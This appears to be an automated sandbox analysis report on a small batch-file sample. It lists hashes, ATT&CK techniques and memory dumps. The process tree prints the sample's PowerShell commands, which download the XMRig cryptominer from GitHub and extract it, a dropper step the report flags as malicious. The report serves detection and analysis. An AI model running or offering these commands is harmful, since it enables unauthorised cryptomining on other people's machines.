c0768ace239b9f133dfbb33d830ff9bf0580b167e2a6b0f015950f7aa2b1f768

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Analysis

max time kernel
1558s
max time network
1559s
platform
windows7_x64
resource
win7-20240215-en
resource tags

arch:x64arch:x86image:win7-20240215-enlocale:en-usos:windows7-x64system
submitted
20/05/2024, 19:02

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General

Target

14.bat
Size

599B
MD5

798b979417aa88e5323ead9be2d8425c
SHA1

a54c5133c71afddf697f302b36bdb930c72852ce
SHA256

f83d724987f9f4a0843c0b0abd01f3f5ceccbc8e7babad76c2639e1bef2fee07
SHA512

a4f2ff598bc26b5ee7778b34b34aafd20e43f714c5f841b9fe73cdc6e1c3e47e44ffb94ff06ccd7dd263116201ff6754c956c1ea8f588acf6927f35446b5036b

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.3/xmrig-6.21.3-msvc-win64.zip

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	2244	powershell.exe
6	2244	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3024	powershell.exe
2244	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2244	powershell.exe
3024	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2244	powershell.exe
Token: SeDebugPrivilege	3024	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2816 wrote to memory of 2244	2816	cmd.exe	29
PID 2816 wrote to memory of 2244	2816	cmd.exe	29
PID 2816 wrote to memory of 2244	2816	cmd.exe	29
PID 2816 wrote to memory of 3024	2816	cmd.exe	30
PID 2816 wrote to memory of 3024	2816	cmd.exe	30
PID 2816 wrote to memory of 3024	2816	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\14.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2816
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.3/xmrig-6.21.3-msvc-win64.zip', 'xmrig-6.21.3-msvc-win64.zip')"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2244
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'xmrig-6.21.3-msvc-win64.zip' -DestinationPath '.'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3024

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
1e717d4eac5502a2bc290eab8c7d36cc

SHA1
4b91b62d7a76f79df940593100e556e93a3eb18c

SHA256
8e24707f2da743ed3c91a2703fb24367b8b207a74bf8af73f095e6c07bc71b9e

SHA512
344271991634fbd28579af68c7703f55e6dd4570549e3df5fe102875cb6d8579f0e3dcb5531bb5e1a230c8a0c40b54c3fc33e2a072acfa66097be7b2ebaf04cf

Download Submit
memory/2244-4-0x000007FEF58EE000-0x000007FEF58EF000-memory.dmp

Filesize
4KB

Download
memory/2244-5-0x000000001B640000-0x000000001B922000-memory.dmp

Filesize
2.9MB

Download
memory/2244-9-0x000007FEF5630000-0x000007FEF5FCD000-memory.dmp

Filesize
9.6MB

Download
memory/2244-8-0x000007FEF5630000-0x000007FEF5FCD000-memory.dmp

Filesize
9.6MB

Download
memory/2244-10-0x000007FEF5630000-0x000007FEF5FCD000-memory.dmp

Filesize
9.6MB

Download
memory/2244-7-0x000007FEF5630000-0x000007FEF5FCD000-memory.dmp

Filesize
9.6MB

Download
memory/2244-6-0x0000000002310000-0x0000000002318000-memory.dmp

Filesize
32KB

Download
memory/2244-11-0x000007FEF5630000-0x000007FEF5FCD000-memory.dmp

Filesize
9.6MB

Download
memory/2244-12-0x000007FEF5630000-0x000007FEF5FCD000-memory.dmp

Filesize
9.6MB

Download
memory/3024-18-0x000000001B5F0000-0x000000001B8D2000-memory.dmp

Filesize
2.9MB

Download
memory/3024-19-0x0000000001F50000-0x0000000001F58000-memory.dmp

Filesize
32KB

Download